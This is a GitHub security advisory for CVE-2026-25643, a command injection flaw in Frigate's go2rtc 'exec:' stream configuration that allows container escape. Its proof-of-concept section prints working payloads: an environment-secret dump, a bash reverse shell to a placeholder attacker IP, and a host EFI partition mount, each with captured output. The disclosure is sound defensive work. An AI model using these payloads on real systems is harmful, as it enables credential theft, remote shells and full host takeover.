Skip to content

Authenticated Remote Command Execution (RCE) and Container Escape

Critical
blakeblackshear published GHSA-4c97-5jmr-8f6x Jan 29, 2026

Package

blakeblackshear/frigate

Affected versions

<= 0.16.3

Patched versions

>= 0.16.4

Description

There is no indication that Frigate's built in authentication has been bypassed. This vulnerability is only exploitable by an administrator or users who have exposed their Frigate install to the open internet with no authentication which allows anyone full administrative control.

1. Executive Summary

A critical Remote Command Execution (RCE) vulnerability has been identified in the Frigate integration with go2rtc.

The Real Problem: The application does not sanitize user input in the video stream configuration (config.yaml), allowing direct injection of system commands via the exec: directive.
The Root Cause: The go2rtc service executes these commands without restrictions. Since Frigate typically requires running in privileged mode (--privileged) to access hardware acceleration, this command execution allows the attacker not only to control the container but also to directly access the host's hardware and file system, breaking security isolation (Container Escape).

2. Technical Details

The application allows the editing of the config.yaml file, which is processed by the integrated go2rtc service. By defining a stream using the exec: prefix, go2rtc directly executes the specified binary.

Due to the standard privileged configuration, the process inherits extended capabilities (CAP_SYS_ADMIN), allowing it to mount physical disks and modify the host system boot.

3. Proof of Concept (PoC)

To successfully trigger the vulnerability, simply defining the stream is not enough; the stream must be active. This requires configuring a dummy camera to consume the malicious stream and performing a service restart via the UI.

3.1. Trigger Mechanism

The following configuration demonstrates how to link a fake camera to the malicious stream to force execution upon service restart.

Required Configuration Pattern:

cameras:
  poc_cam:
    enabled: true
    ffmpeg:
      inputs:
        - path: rtsp://127.0.0.1:8554/malicious_stream
          roles:
            - detect
    detect:
      enabled: false
    audio:
      enabled: false

go2rtc:
  streams:
     malicious_stream:
      - "exec:[PAYLOAD_COMMAND_HERE]"

After saving this configuration, a restart via the UI is required to trigger the execution.

3.2. Demonstrated Payloads

The following payloads were tested using the trigger mechanism described above.

PoC 1: Secrets and Environment Variable Exfiltration

Description: The attacker dumps the process environment to obtain credentials.
Payload:

go2rtc:
  streams:
    poc_env:
      - "exec:/bin/bash -c 'env > /config/evidence_secrets.txt; sleep 30'"

Evidence (cat /config/evidence_secrets.txt):

NVIDIA_VISIBLE_DEVICES=<REDACTED>
NVIDIA_DRIVER_CAPABILITIES=compute,utility,video

FRIGATE_RTSP_USER_CAM1=<REDACTED>
FRIGATE_RTSP_PASS_CAM1=<REDACTED>
FRIGATE_RTSP_USER_CAM2=<REDACTED>
FRIGATE_RTSP_PASS_CAM2=<REDACTED>

FRIGATE_OPENAI_API_KEY=<REDACTED>

DEFAULT_FFMPEG_VERSION=7.0
LIBAVFORMAT_VERSION_MAJOR=61
INCLUDED_FFMPEG_VERSIONS=7.0:5.0

HOSTNAME=102a3a185d16
HOME=/root
PWD=/run/s6-rc:s6-rc-init:fIPglo/servicedirs/go2rtc
PATH=/command:/usr/local/go2rtc/bin:/usr/local/tempio/bin:/usr/local/nginx/sbin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

PoC 2: Interactive Reverse Shell (Remote Control)

Description: A remote connection is established for interactive control.
Payload:

go2rtc:
  streams:
    poc_rev_shell:
      - "exec:/bin/bash -c 'bash -i >& /dev/tcp/[ATTACKER_IP]/4444 0>&1'"

Evidence (Attacker Terminal):

ubuntu@ubuntu:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.30 53156
bash: cannot set terminal process group (127): Inappropriate ioctl for device
bash: no job control in this shell

root@102a3a185d16:/run/s6-rc:s6-rc-init:fIPglo/servicedirs/go2rtc# id
uid=0(root) gid=0(root) groups=0(root)

PoC 3: Container Escape and Host Compromise

Description: The attacker mounts the physical host EFI partition inside the container, demonstrating total hardware control.
Payload:

go2rtc:
  streams:
    poc_escape:
      - "exec:/bin/bash -c 'mkdir -p /tmp/host_efi; mount /dev/nvme0n1p1 /tmp/host_efi; ls -R /tmp/host_efi > /config/evidence_host_efi.txt; sleep 60'"

Evidence (cat /config/evidence_host_efi.txt):

/tmp/host_efi:
EFI

/tmp/host_efi/EFI:
BOOT
ubuntu

/tmp/host_efi/EFI/BOOT:
BOOTX64.EFI
fbx64.efi
mmx64.efi

/tmp/host_efi/EFI/ubuntu:
BOOTX64.CSV
grub.cfg
grubx64.efi
mmx64.efi
shimx64.efi

4. Impact

Financial Impact: Exposure of payment API keys and external services.

Privacy Violation: Unauthorized access to video feeds and RTSP credentials.

Total Compromise: In privileged deployments, complete control of the physical host with the possibility of boot-level persistence.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-25643

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Execution with Unnecessary Privileges

The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses. Learn more on MITRE.

Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. Learn more on MITRE.

Exposure of Resource to Wrong Sphere

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. Learn more on MITRE.

Credits